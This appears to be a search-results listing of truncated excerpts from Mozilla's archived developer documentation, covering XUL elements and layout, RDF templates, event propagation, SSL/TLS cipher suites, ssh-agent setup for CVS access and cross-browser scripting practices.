...cko 1.9.1, this attribute is now always specified in lower case. minresultsforpopup new in thunderbird 3requires seamonkey 2.0 type: integer the minimum number of results that must be returned for the popup to be displayed. the default value is 1. new in thunderbird 3requires seamonkey 2.0 a zero value will always open the popup. this can be used to display additional items that are not autocomplete results. nomatch type: boolean this attribute will be set to true if the last search resulted in no matches. overview an onchange attribute is an event listener to the object for the event change. a change event is fired in different ways for different xul input elements as listed below: onchange type: script code textbox when enter key i...
Things I've tried to do with XUL - Archive of obsolete content
d your own xul experiences here. how do i use percentage-based height/width with xul? short answer: you can't easily, at least not yet. this means that creating any sort of visual display (not necessarily "ui"; my use case is for creating a calendar time display) that sizes sanely when the user resizes the window is unfortunately very difficult. (to add insult, xul layout code *explicitly* trims off '%' from width/height, thus treating it as pixels.) for reference, i'd like the following to give a vbox that resizes along with the window, with the green, red, and blue inside boxes always maintaining a 30%-20%-50% ratio to the height of the parent vbox. <vbox flex="1"> <box height="30%" flex="1" style="background: green;"/> <box height="20%" flex="1" style="background: red;"/> <box hei...
.../dom/domr...entheight.html); no equivalent exists for xul. enn: most people would use the box object width and height properties, or do you want something else? vlad: the boxobject width/height are the actual width and height of the box, regardless of the actual visible portion of the box (clipped by the window borders, for example). this is assuming no scrolling is going on. resize event problems going with the inability to obtain the clientwidth/clientheight of xul elements, it's impossible to handle the "resize" event yourself to grow/shrink content as needed -- as you grow the content, when you shrink the window, the content will simply be clipped (because now it has a bigger size than the window). you have no way of finding out what the clipped size is, so you can never shrink the co...
...re: if you create from js an element you want to bind, and if it is hidden when the listbox is first rendered, the listbox does not create a frame for it, and the xbl doesn't get attached... a workaround for that is to create the element, insert it in the document and set its style attribute with a -moz-binding property, all of that from c++ instead of js. multi-column listboxes when adding items to multi-column listboxes, you can't use the appenditem api: // auto-create and attach 1st cell var row = mylistbox.appenditem( label, value ); // create and attach 2nd cell var cell = document.createelement('listcell'); cell.setattribute('label', label2 ); cell.setattribute('value', value2 ); row.appendchild( cell ); // etc // ... while this works at first, after a number of rows have been add...
Accesskey display rules - Archive of obsolete content
. xul elements display their accesskeys in their label automatically if it's necessary. this document describes the rules of generating a label text. xul elements don't display any accesskeys on mac xul elements don't display any accesskeys on mac. because macos x doesn't have the conception of accesskey function on its native widgets/applications. basic accesskey display rules on non-mac platforms, a character which is same as its accesskey is underlined. e.g., when an accesskey of "file" is 'f', the generated label will be "file". if a label has two or more characters which are same as its accesskey, the first character of them will be underlined. if a label doesn't have the character, xul elements append the accesskey character with parentheses. e.g., when an accesskey of "open" is 'a'...
...ets but alphabets are used to accesskey. for coherence of the labels on such localized builds, the accesskey text is always appended even if the labels have their accesskey characters. e.g., when an accesskey of "ok" is 'o' and an accesskey of "キャンセル" (means "cancel") is 'c', the labels will be "ok(o)" and "キャンセル(c)" on japanese localized build. xul elements check "intl.menuitems.alwaysappendaccesskeys" pref value whether they should append accesskey text always. if the value is "true" (string), the accesskey text will be appended always. don't change the pref value from your xul applications. and also note that there are no spaces between the original labels and accesskey text in the above japanese example. because typically, japanese language doesn't use spaces as word ...
...hey should append accesskey text always. if the value is "true" (string), the accesskey text will be appended always. don't change the pref value from your xul applications. and also note that there are no spaces between the original labels and accesskey text in the above japanese example. because typically, japanese language doesn't use spaces as word separator. this is controled by "intl.menuitems.insertseparatorbeforeaccesskeys" pref value. if the value is "true" (string), a spece will be inserted before accesskey text. don't change the pref value from your xul applications too. don't include accesskey text in labels xul applications should use dtd for localizable ui resource. at that time, accesskeys are specified by independent entity from their label. be aware, this is very important t...
Advanced Rules - Archive of obsolete content
. the syntax of the content element is as follows: <content uri="?var"/> the question mark indicates that the text following it is a variable. you can then use the variable 'var' within the remainder of the conditions. of course, you can name the variable whatever you want. member element the next element is the member element, which is used to iterate through a set of child resources. in rdf terms, that means a container such a seq, bag or alt. let's say you have a list of cities described in the following rdf/xml fragment: <rdf:seq about="http://www.xulplanet.com/rdf/weather/cities"> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/paris"/> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/manchester"/> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city...
...ty" predicate="http://www.xulplanet.com/rdf/weather#name" object="?name"/> <triple subject="?city" predicate="http://www.xulplanet.com/rdf/weather#prediction" object="?pred"/> </conditions> generating content the content to generate for a rule is specified inside the action element. this should be the content for the rows of the tree, menu items, or whatever content you want to generate. within the content, you can refer to variables that were defined in the conditions. thus, in the weather example above, you could use the variables 'name' or 'pred' to display the city or prediction. you can use the 'list' or 'city' variables also, but they hold resources, not text, so they won't likely have meaningful values to users. in the simple rule...
...ue of the name for each row and the other which displays the value of the prediction. if using the dont-build-content flag on a tree, replace the content element with a treeitem element. adding additional bindings the final element you can add inside a rule is the bindings element. inside it, you place one or more binding elements. a binding in a rule has the same syntax as a triple and performs almost the same function. for example, in the weather example above we could add the following binding: <bindings> <binding subject="?city" predicate="http://www.xulplanet.com/rdf/weather#temperature" object="?temp"/> </bindings> this binding will grab the temperature resource of each city and assign it to the 'temp' variable. this is similar to what a triple does. th...
Creating a Wizard - Archive of obsolete content
includes the content of each page of the wizard. the pages of the wizard are created using the wizardpage element. you can place whatever content you want inside each wizardpage. note that wizards currently only work properly from chrome urls. the wizard consists of several sections. the exact layout will vary according to the os for the platform. wizards will generally be displayed using customs that are familiar to the user of a particular os. a typical layout will include a title across the top, a set of navigation buttons across the bottom and the page contents in between. the title across the top is created using the title attribute, much like one would use for regular windows. the navigation buttons are created automatically. an example wizard source <?xml version="1.0"?> <?xml...
...l="female"/> </radiogroup> </wizardpage> </wizard> this wizard has two pages, one that has a drop-down menu and the other with a set of radio buttons. the wizard will be formatted automatically, with a title across the top and a set of buttons along the bottom. the user can navigate between the pages of the wizard with the back and next buttons. these buttons will enable and disable themselves at the appropriate moments. in addition, on the last page, the finish button will appear. all of this is automatic, so you don't have to do anything to manipulate the pages. the description attribute may optionally be placed on a wizardpage element to provide a sub-caption for that page. in the example above, it has been placed on the second page, but not the first page. handling page chan...
...ion attribute may optionally be placed on a wizardpage element to provide a sub-caption for that page. in the example above, it has been placed on the second page, but not the first page. handling page changes you will generally want to do something once the finish button is pressed. you can set an attribute onwizardfinish on the wizard element to accomplish this. set it to a script which performs whatever task you want and then returns true. this script might be used to save the information that the user entered during the wizard. for example: <wizard id="example-window" title="select a dog wizard" onwizardfinish="return savedoginfo();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> when the user clicks the finish button, the function savedoginfo() will be c...
List Controls - Archive of obsolete content
the simplest list box uses the listbox element for the box itself, and the listitem element for each item. ...
...the simplest list box uses the listbox element for the box itself, and the listitem element for each item. for example, this list box will have four rows, one for each item. ...
...ashbuckler" /> </listitem> </listbox> in this example, the flex attribute is used to make the column flexible. this attribute will be described in a later section, but here it allows the column to fill all of the remaining space horizontally. you can resize the window to see that the column stretches as the window does. if you shrink the size horizontally, the labels on the cells will crop themselves automatically using an ellipsis. you can use the crop attribute on the cells or items set to the value none to disable the ellipsis. drop-down lists drop-down lists can be created in html using the select element. the user can see a single choice in a textbox and may click the arrow or some similar such button next to the textbox to make a different selection. the other choices will appear...
More Tree Features - Archive of obsolete content
« previousnext » here, we'll see more features of trees. hierarchical trees the tree element is also used to create hierarchical lists, like that found in a file manager or a browser's bookmarks list. the tree view has a number of functions which specify the hierarchy of the items in a tree. each item in the tree has a level starting at 0. the topmost items in the tree will have a level of 0, the children of those items will have a level of 1, the children below that will have a level of 2, and so on. the tree will query the view for the level of each item in order to determine how to draw the rows. the tree will draw the open and close icons to open and close a parent item as well as lines connecting the children to their parents. the tree will also handle drawing the rows...
...drawing the rows with the right level of indenting. however, the view will need to make sure it keeps track of the level of the rows as necessary. this can sometimes be quite tricky, but fortunately, the built-in content tree view does all of the hard work for us. to create a set of nested rows, all we need to do is add a second treechildren element inside the parent treeitem. you can then add items inside that to specify the child rows of an item. don't put the inner treechildren element inside the treerow as this won't work. you can repeat this process to create deeply nested trees. essentially, a treeitem element can contain either single rows which are declared with the treerow element or a set of rows which are declared with the treechildren element. there are two other things you need ...
...t row, indicating that it contains child rows. by clicking the row, the user can open and close the list. the child rows are indented. notice how the guys row only needs one column as it is a placeholder item for its children. the outer treeitem element contains a single treerow element and a treechildren element. the former creates the data for the parent row and the latter contains the child items. you can nest rows deeper as well. remember that you must use the container attribute on rows which contain child rows. the simple presence of child rows isn't sufficient to indicate this, as you may have a container that has no children but should still be treated like a container. for example, a directory with no files in it should still be treated like a container whereas a file should not. mo...
Trees - Archive of obsolete content
Archive › Mozilla › XUL › Tutorial › Trees
ly ask for information from the view for those rows that need to be displayed. this allows the view to be optimized such that it only needs to load the data for displayed content. for instance, a tree might have thousands of rows, yet most of them will be scrolled off the border of the tree, hidden from view. this means that the tree is scalable to any number of rows without any performance problems. of course, this is independant of the performance of the view object itself. a tree view is an object which implements the nsitreeview interface. this interface contains thirty properties and functions which you may implement. these functions will be called by the tree as necessary to retrieve data and state about the tree. for instance, the getcelltext() function will be called to get the labe...
..., the only attributes that will have any effect will be the label attribute to set a text label for a cell and the src attribute to set an image. however, there are special ways of styling the tree and setting other features which we will see in later sections. also, events do not get sent to treeitem element and their children; instead they get sent to the treechildren element. that the treeitems are unlike other xul elements is a common source of confusion for xul developers. essentially, the tree content view is a view where the data for the cells is supplied from tags placed inside the tree. naturally, if you are using a different kind of view, the data will be supplied from another source, and there won't be any treeitem elements at all. let's start by looking at how to create a simp...
...bed in the next section. inside the rows, you will put individual tree cells. these are created using the treecell element. you can set the text for the cell using the label attribute. the first treecell in a row determines the content that will appear in the first column, the second treecell determines the content that will appear in the second column, and so on. the user can select the treeitems by clicking on them with the mouse, or by highlighting them with the keyboard. the user can select multiple items by holding down the shift or control keys and clicking additional rows. to disable multiple selection, place a seltype attribute on the tree, set to the value single. with this, the user may only select a single row at a time. add a tree to our find files example let's add a tree t...
Using Spacers - Archive of obsolete content
« previousnext » in this section, we will find out how to add some spacing in between the elements we have created. adding spacers one of the problems with developing user interfaces is that each user has a different display. some users may have larger displays with higher resolutions and others may have lower resolutions. in addition, different platforms may have special requirements on the user interface. if adding support for multiple languages, the text for one language may require more room than another. ...
...g user interfaces is that each user has a different display. some users may have larger displays with higher resolutions and others may have lower resolutions. in addition, different platforms may have special requirements on the user interface. if adding support for multiple languages, the text for one language may require more room than another. applications that need to support multiple platforms and languages usually have their windows laid out with lots of space to allow for this. some platforms and user interface toolkits provide components that are smart enough to resize and re-position themselves to fit the needs of the user. (java uses layout managers for example.) xul provides the capability for elements to position and resize automatically. as we've seen, the find files window has...
... its label. specifying a flex value of 0 has the same effect as leaving the flex attribute out entirely. it means that the element is not flexible at all. you may also sometimes see a flex value specified as a percentage. this has no special meaning and is treated as if the percent sign was not there. you may have noticed that when you resize the find file dialog vertically, the buttons resize themselves to fit the height of the window. this is because all of the buttons have an implied vertical flex given to them by the window. in the next section we'll learn how to change this. find files example so far source view next, we will learn some additional features of buttons. « previousnext » ...
XUL Structure - Archive of obsolete content
» we'll begin by looking at how the xul is handled in mozilla. how xul is handled in mozilla, xul is handled in much the same way as html or other types of content are handled. when you type the url of an html page into the browser's address field, the browser locates the web site and downloads the content. the mozilla rendering engine takes the content in the form of html source and transforms it into a document tree. the tree is then converted into a set of objects that can be displayed on the screen. style sheets (css), images, and other technologies are used to control the presentation. xul functions in much the same way. in fact, in mozilla, all document types, whether they are html or xul, or even svg, are all handled by the same underlying code. this means that the same css prop...
... to control the presentation. xul functions in much the same way. in fact, in mozilla, all document types, whether they are html or xul, or even svg, are all handled by the same underlying code. this means that the same css properties may be used to style both html and xul, and many of the features can be shared between both. however, there are some features that are specific to html, such as forms, and others which are specific to xul, such as overlays. since xul and html are handled in the same way, you can load both from either your local file system, from a web page, or from an extension or standalone xulrunner application. content from remote sources (e.g. http://localhost/~username/ ), regardless of whether they are html or xul or another document type, are limited in the type of ope...
...xml, and xul. naturally, the html document is used for html documents, the xul document is used for xul documents, and the xml document is used for other types of xml documents. since xul is also xml, the xul document is a subtype of the more generic xml document. there are subtle differences in functionality. for example, while the form controls on an html page are accessible via the document.forms property, this property isn't available for xul documents, since xul doesn't have forms in the html sense. likewise, xul specific features such as overlays and templates are only available in xul documents. this distinction between documents is important. it is possible to use many xul features in html or xml documents since they aren't document type specific; however other features require the ...
XUL controls - Archive of obsolete content
<image src="start.png"/> more information about the image element. image reference <label> adds a text label to a nearby control. <label control="volume" value="volume:"/> more information about the label element. label reference <listbox> the listbox is used to select an item from a list of labelled items. <listbox> <listitem label="chocolate"/> <listitem label="jelly beans"/> </listbox> more information about the listbox element. listbox reference related elements: listcell listcols listcol listhead listheader listitem <menulist> a menulist (or combobox) is used to create a control with a drop down to select a value. <menulist> <me...
...used when only one of a set of options may be selected at a time. <radiogroup> <radio label="light" value="light"/> <radio label="heavy" value="heavy"/> <radio label="heay" value="hea"/> </radiogroup> more information about the radio element. radio reference related elements: radiogroup <richlistbox> the richlistbox displays a list of items where one or more may selected. unlike the listbox which is designed to display fixed size rows, the richlistbox may display any type of content. <richlistbox> <richlistitem> <image src="happy.png"/> </richlistitem> <richlistitem> <image src="sad.png"/> </richlistitem> <richlistitem> <image src="angry.png"/> </richlistitem> </richlistbox> richlistbox refe...
... <toolbarbutton type="menu-button" label="open"> <menupopup> <menuitem label="open changed files"/> <menuitem label="open all"/> </menupopup> </toolbarbutton> more information about this type of menu toolbarbutton element. toolbarbutton reference related elements: menupopup menuitem toolbar <tree> a tree displays a hierarchy of items in multiple columns. <tree> <treecols> <treecol label="name" flex="1"/> <treecol label="size" flex="1"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="popcorn"/> <treecell label="large"/> </treerow> </treeitem> <treeitem> <treerow> <treecell label="root beer"/> <treecell label="small"/> </tr...
XUL Event Propagation - Archive of obsolete content
ing a simple alert dialog: <button value="click me" onclick="alert('thank you')" /> the opposite of event bubbling is event capturing. where event bubbling propagates an event from its target up higher into the node hiearchy, event capturing intercepts an event before it is received by other elements, even by the event target itself. the combination of basic these two basic event flow mechanisms, event bubbling and event capturing, mean that events raised in the interface can be caught anywhere above the element that raised the event. this flexibility in the xul event model is the focus of this article. the widget hierarchy consider the following xul file: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="events" xmlns:html="http://w...
..." label="close" /> </menupopup> </menu> <menu class="menu" label="edit"> <menupopup> <menuitem oncommand="alert('edit source handler')" label="edit source" /> <menuitem label="reload" /> <menuitem label="view source" /> </menupopup> </menu> </vbox> <spring flex="1" /> </vbox> </window> in this file, the lowest-down, or "leaf" elements are the menuitems. the hierarchy of the interface can be represented as follows: when one of these menuitems raises an event, any of the elements above it in the hierarchy can handle it. in the example above, when the menuitem raises the "command" event, indicating that it has been selected, the menupopup, the menu itself, the parent box, or the root window element itself can all take advantage of this. even...
...r", "box handler", and "window handler." any or all of these event handler locations might be useful in your interface development. (see it happen.) for an event to be useful somewhere higher up, however, it is very often necessary to determine which element below the handler actually raised the event. ...
button - Archive of obsolete content
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. dlgtype type: one of the values below the dialog type of the button, used only when the button is in a dialog box. you can use this feature to replace the standard dialog box buttons with custom buttons, yet the dialog event methods will still function. for example, if the dlgtype is set to accep...
...n. group type: string group name buttons with type="radio" and the same value for their group attribute are put into the same group. only one button from each group can be checked at a time. if the user selects one the buttons, the others in the group are unchecked. icon mozilla 1.8 type: string this attribute should be used to set the usage for common buttons. some platforms display these buttons with a small icon indicating their usage. this should be used in place of the image attribute. possible values include: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network. if you are using a button that matches one of these common usages, use the icon attribute...
...n place of the image attribute. possible values include: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network. if you are using a button that matches one of these common usages, use the icon attribute to indicate this. see the appearance of the different icons on some available platforms. image type: uri the uri of the image to appear on the element. if this attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the me...
menu - Archive of obsolete content
Archive › Mozilla › XUL › menu
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. menuactive type: boolean this attribute is set on...
... affect the contents displayed to the user. properties accessibletype type: integer a value indicating the type of accessibility object for the element. control type: menu element returns the enclosing menu that the item is inside, if any, or null if there is no enclosing menu. itemcount type: integer read only property holding the number of child items. menupopup type: menupopup element a reference to the menupopup used by the menu or menulist. this property is read-only. open type: boolean this property will be set to true when the menu is open. the menu may be opened by setting the open property to true and closed by setting it to false. parentcontainer type: menu element read only property that returns t...
..., normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of items. you may optionally set a value. the function returns the newly created element. getindexofitem( item ) return type: integer returns the zero-based position of the specified item. items are numbered starting at the first item displayed in the list. getitematindex( index ) return type: element returns the element that is at the specified index. insertitemat( index, label, value ) ...
tabs - Archive of obsolete content
Archive › Mozilla › XUL › tabs
you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. onclosetab type: script code this script will be called when the close tab button is clicked. onnewtab not in firefox type: script code this script will be called when the new tab button is clicked. onselect type: script code this event is sent to the tabs element when this tab...
... the tooltip when the user moves the mouse over the new button in the tab row. properties accessibletype type: integer a value indicating the type of accessibility object for the element. disabled type: boolean gets and sets the value of the disabled attribute. itemcount type: integer read only property holding the number of child items. selectedindex type: integer returns the index of the currently selected item. you may select an item by assigning its index to this property. by assigning -1 to this property, all items will be deselected. returns -1 if no items are selected selecteditem type: element holds the currently selected item. if no item is currently selected, this value ...
...dir is set to 1, the currently selected tab changes to the next tab. if the argument dir is set to -1, the currently selected tab changes to the previous tab. if the wrap argument is true, the adjustment will wrap around when the first or last tab is reached. appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of items. you may optionally set a value. the function returns the newly created element. getindexofitem( item ) return type: integer returns the zero-based position of the specified item. items are numbered starting at the first item displayed in the list. getitematindex( index ) return type: element returns the element that is at the specified index. insertitemat( index, label, value ...
calICalendarViewController - Archive of obsolete content
implementing a calicalendarviewcontroller allows for these actions to be performed in a manner consistent with the rest of the application in which the calicalendarview is included. calendar/base/public/calicalendarviewcontroller.idlscriptable please add a summary to this article. ...
...st either both be specified, or neither. if they are both specified, aoccurrence should be modified 'silently', that is, without a more detailed dialog appearing. otherwise, a dialog should be display allowing the user to modify the fields. implementations of calicalendarviewcontroller should be careful to provide clearly defined behavior to the user regarding the modification of recurring caliitems. ...
...to the user regarding the modification of recurring caliitems. deleteoccurrence void deleteoccurrence (in caliitemoccurrence aoccurrence); the deleteoccurrence method is called when by the calicalendarview when caliitem should be deleted. implementations of calicalendarviewcontroller should be careful to provide clearly defined behavior to the user regarding the deleting of recurring caliitems, in the case where aoccurrence is a single occurrence of a recurring caliitem. related interfaces calicalendarview calidecoratedview example code var myviewcontroller = { queryinterface: function(aiid) { if (!aiid.equals(components.interfaces.calicalendarviewcontroller) && !aiid.equals(components.interfaces.nsisupports)) { throw components.results.ns_erro...
Samples and Test Cases - Archive of obsolete content
however, even if one cannot build the samples they can still be very valuable as code references. there is a guide to compiling the npruntime sample in visual studio. in addition to those samples, there are 2 more plugins in the tree that might be helpful. ...
...however, even if one cannot build the samples they can still be very valuable as code references. there is a guide to compiling the npruntime sample in visual studio. in addition to those samples, there are 2 more plugins in the tree that might be helpful. ...
...however, even if one cannot build the samples they can still be very valuable as code references. there is a guide to compiling the npruntime sample in visual studio. in addition to those samples, there are 2 more plugins in the tree that might be helpful. ...
SSL and TLS - Archive of obsolete content
nication between the server and client. the handshake allows the server to authenticate itself to the client using public-key techniques, then allows the client and the server to cooperate in the creation of symmetric keys used for rapid encryption, decryption, and tamper detection during the session that follows. both of these protocols support using a variety of different cryptographic algorithms, or ciphers, for operations such as authenticating the server and client, transmitting certificates, and establishing session keys. clients and servers may support different cipher suites, or sets of ciphers. among other functions, the ssl handshake determines how the server and client negotiate which cipher suite they will use to authenticate each other, to transmit certificates, and to establis...
...uthenticating the server and client, transmitting certificates, and establishing session keys. clients and servers may support different cipher suites, or sets of ciphers. among other functions, the ssl handshake determines how the server and client negotiate which cipher suite they will use to authenticate each other, to transmit certificates, and to establish session keys. key-exchange algorithms like rsa and elliptic curve cryptography (ecc) govern the way the server and client determine the symmetric keys to use during an ssl session. the most common ssl cipher suites use rsa key exchange, while tls supports ecc cipher suites as well as rsa. note: longer rsa keys are required to provide security as computing capabilities increase. the recommended rsa key-length is 2048 bits. though man...
...lities increase. the recommended rsa key-length is 2048 bits. though many web servers continue to use 1024-bit keys, web servers should migrate to at least 2048 bits. for 64-bit machines, consider using stronger keys. all cas should use at least 2048-bit keys, and stronger keys (such as 3072 or 4096 bits) if possible. as pkis using rsa keys and certificates transition to other cryptographic systems like ecc, servers should continue to support rsa. supported cipher suites for rsa cipher suites with the rsa key exchange that are commonly supported include the following: aes and sha message authentication. advanced encryption standard (aes) ciphers have a fixed block size of 128-bits, and the keys can be either 128-bit or 256-bit. there are 3.4 x 1038 possible 128-bit keys and 1.1 x 1077 ...
Common Firefox theme issues and solutions - Archive of obsolete content
the purpose of this page is to provide provide theme developers with notes on how to fix common issues. it is a companion document to the amo editors guide common theme problems, which provides editors with "boilerplate" copy and paste review notes for common theme issues. this document was started on july 27, 2012 so it will take some time to completely fill in and some issues still need to have solutions written for them. ...
...y fill in and some issues still need to have solutions written for them. operating system specific issues windows 7 windows 7 aero missing right-hand title bar buttons when tabs are on top and the menu bar is disabled, firefox is missing the min/max/restore/close button on the right side of the title bar. please see the following threads on mozillazine for solutions to this issue: http://forums.mozillazine.org/viewtopic.php?f=18&t=2131121 http://forums.mozillazine.org/viewtopic.php?f=18&t=1953371&start=60 windows 7 aero not going into full screen mode properly on win7 with aero glass support firefox doesn't always go to full screen mode from a normal window properly. the resolution to this issue is to add the following code to your browser.css file somewhere below where the main-wind...
...itors use to review themes. this guide will help you thoroughly test your theme to find and fix issues before you push updates to amo. this is document is a work in progress so feedback and/or suggestions is appreciated. mdn css reference mozilla's developer network maintains a great css reference. amo themes forum we'd like to encourage you to participate in the amo (addons.mozilla.org) forums theme forum. mozillazine themes forum mozillazine is not an official mozilla website, but it does have the largest community of firefox theme developers and is a great resource. their theme development forum is here. mozillazine firefox nightly theme changes thread mozillazine's firefox nightly theme changes thread is a great resource for keeping up to date with the latest changes to the fire...
Theme changes in Firefox 2 - Archive of obsolete content
t the changes you need to make. file description of change browser/bookmarks/addbookmark.css updated to include microsummary-related css changes. browser/bookmarks/bookmarksproperties.css new file; includes microsummary-related css. browser/browser.css needs to be updated to include new css for microsummaries, search fields, iconic bookmark menu items, and more. browser/dropmark-nav-small.png new file; used as the drop-down menu arrow on the navigation buttons, when using small icons. browser/dropmark-nav.png new file; used as the drop-down menu arrow on the navigation buttons. browser/enginemanager.css new file; css used for the search engine manager. browser/feeds/addfeedreader.css new file; cs...
...ew styles. mozapps/extensions/about.css updated with a simplified set of style names, since several styles were identical. mozapps/extensions/extensions.css css for the add-ons manager window. updated to support the new features of the firefox 2 add-ons manager. mozapps/extensions/itemdisabledfader.png new file; a translucent png used as an overlay on top of items that are disabled in the add-ons manager. mozapps/extensions/itemenabledfader.png new file; a translucent png used as an overlay on top of items that are enabled in the add-ons manager. mozapps/extensions/notifybadges.png new file; contains the icons used ito badge the icons for add-ons in the add-on manager window to indicate their status. these look like this in the defa...
... the add-ons manager. mozapps/extensions/notifybadges.png new file; contains the icons used ito badge the icons for add-ons in the add-on manager window to indicate their status. these look like this in the default theme: the first icon (green here) indicates that an add-on has an update available. the second icon (yellow here)appears to be used for blocklisted items; trying to confirm. the third icon (red here) indicates that an add-on is disabled, either by the user or because it's incompatible with the application. the fourth icon (blue here)(not sure what this one means). mozapps/extensions/question.png new file; used in the add-ons manager when you check for updates. if no updates are found, this icon is displayed at the le...
Using IO Timeout And Interrupt On NT - Archive of obsolete content
in this memo we explain the problem this guideline is trying to work around and discuss its limitations. ...
...ch file descriptors. a related known bug is that timeout and interrupt don't work for <tt>pr_connect()</tt> on nt. this bug is due to a different limitation in our nt implementation. conclusions as long as we need to support nt 3.51, we need to program under the guideline that after an io timeout or interrupt error, the thread must make sure the file descriptor is closed before it exits. programs should also take care in sharing file descriptors and using io timeout or interrupt on files that need to stay open throughout the process. when we stop supporting nt 3.51, we can look into using nt 4's <tt>cancelio()</tt> function to cancel outstanding overlapped io requests when we get io timeout or interrupt errors. if <tt>cancelio()</tt> really works as advertised, that should fundamentally s...
... throughout the process. when we stop supporting nt 3.51, we can look into using nt 4's <tt>cancelio()</tt> function to cancel outstanding overlapped io requests when we get io timeout or interrupt errors. if <tt>cancelio()</tt> really works as advertised, that should fundamentally solve this problem. if these limitations with io timeout and interrupt are not acceptable to the needs of your programs, you can consider using the win95 version of nspr. the win95 version runs without trouble on nt, but you would lose the better performance provided by nt fibers and asynchronous io. original document information author: larryh@netscape.com last updated date: december 1, 2004 ...
Using SSH to connect to CVS - Archive of obsolete content
t things up, just add the commands below to the end of your file. posix shell eval `ssh-agent -s` ssh-add ~/.ssh/id_dsa $shell ssh-agent -k exit x windows in "~/.xinitrc" add "ssh-add". this will bring up a graphic box just after login, and before the desktop loads, asking for your passphrase. the passphrase will be held for the length of the x session, and be passed on to all child shells. ms-dos command prompt cygwin for /f "tokens=1,2,3* delims=; " %%a in ('ssh-agent -c') do if "%%a"=="setenv" set %%b=%%c set home=/cygdrive/c/path/to/your/cygwin/home/directory ssh-add ~/.ssh/id_dsa start /b /wait cmd.exe ssh-agent -k exit essentially both sets of commands do the same thing. first ssh-agent is called and its output is evaluated in the current environment. this sets environment va...
...t using ssh-add at which point you will be prompted for the key's passphrase. since it's important that you kill the agent when you're finished with it, the last three lines start a child environment that, when exited, will result in the agent's process being killed. the environment you will actually use to build is the child environment. there are a few things to note about the commands for the ms-dos command prompt. first of all they will only work in versions of windows based on nt (nt/2000/xp). if you're building on win9x/winme you'll need to find an alternative solution. if you're typing the commands directly (as opposed to storing them in a batch file that you call), you'll need to replace the occurances of "%%" in the first line with "%". finally, note that ssh-add needs the environm...
...tion. if you're typing the commands directly (as opposed to storing them in a batch file that you call), you'll need to replace the occurances of "%%" in the first line with "%". finally, note that ssh-add needs the environment variable home to be set with the cygwin path to your cygwin home directory. mozillabuild if you're using mozillabuild, ssh-agent should be started when you run the start-msvc???.bat file. you should be prompted to enter your passphrase. mozillabuild 1.2 contains a bug that will stop ssh-agent from automatically starting with msys. to fix this, apply this diff to c:\mozilla-build\msys\etc\profile.d\profile-sshagent.sh. ...
Developing cross-browser and cross-platform pages - Archive of obsolete content
an important practice when doing cross-browser, cross-platform pages and dhtml development involves the ability to determine the capabilities of the browser which loads your web page. as a web author, you understandably want to avoid script errors and page layout problems and you may want to ensure your scripts reach as wide an audience as possible. there are 2 known approaches for such goals: the browser identification approach (also known as useragent string detection and often referred as "browser sniffing") and the object/feature support detection approach. the browser identification approach is now known to be complicated, unreliable and difficult to maintain. browser identification approach (aka "browser sniffing"): not best, not reliable approach this approach, still commonl...
...) and the object/feature support detection approach. the browser identification approach is now known to be complicated, unreliable and difficult to maintain. browser identification approach (aka "browser sniffing"): not best, not reliable approach this approach, still commonly used nowadays, attempts to identify the browser and makes the web author at design time decide what that implies in terms of capabilities of the visiting browser. such approach is fraught with problems and difficulties. it requires from the web author to have knowledge of the capabilities of all current browsers that may visit the page and then to code appropriately for these. it requires from the web author to make assumptions about what will happen with future browsers or to decide to provide future browsers a saf...
...ng) or web content. site branching can be particularly dangerous as people may enter a page through a link, bookmark, search engine or cache with a "wrong" browser. let's see a basic example of this approach. // bad sample if (navigator.appversion.charat(0) == "8") { if (navigator.appname == "netscape") { isns8 = true; alert("netscape 8"); }; } else if (navigator.appversion.indexof("msie") != -1) { isie = true; alert("internet explorer"); }; while this kind of checking in the above code can work in a crude sense, sharp readers may wonder what happens when internet explorer 8 is released or when an opera 8.x user visits the page or even when an user with any non-netscape browser starting with a "8" character in the appversion string visits that page. as new browsers are rel...
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
nd displaying xml. proper xhtml is an application of xml and as such requires that authors follow strict rules when authoring xhtml. in particular: raw < and & characters are not allowed except inside of cdata sections (<![cdata[ ... ]]>). comments (<!—— ... ——>) must not contain double dashes (——). content contained within comments (<!—— ... ——>) can be ignored. problems with inline style and script inline style and script tags can cause several different problems in xhtml when it is treated as xml rather than html. javascript contains characters which can not exist in xhtml javascript typically contains characters which can not exist in xhtml outside of cdata sections. <script type="text/javascript"> var i = 0; while (++i < 10) { // ... } </scri...
